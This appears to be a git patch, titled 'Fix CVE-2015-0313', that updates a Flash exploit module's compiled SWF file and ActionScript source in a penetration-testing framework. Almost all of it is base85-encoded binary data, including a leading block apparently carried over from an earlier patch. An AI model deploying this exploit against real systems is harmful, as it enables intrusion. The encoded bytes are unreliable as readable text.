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 Date: Tue, 26 May 2015 16:11:44 -0500 Subject: [PATCH 0202/1013] Fix CVE-2015-0313 --- data/exploits/CVE-2015-0313/msf.swf | Bin 17923 -> 18009 bytes .../source/exploits/CVE-2015-0313/Main.as | 7 +++++-- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/data/exploits/CVE-2015-0313/msf.swf b/data/exploits/CVE-2015-0313/msf.swf index 68b0ad0e6b4e7fe4e914320296148ff37c9c1f7d..f4d5e8f32de2cc716af392728756f7b472967ff0 100755 GIT binary patch delta 17868 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 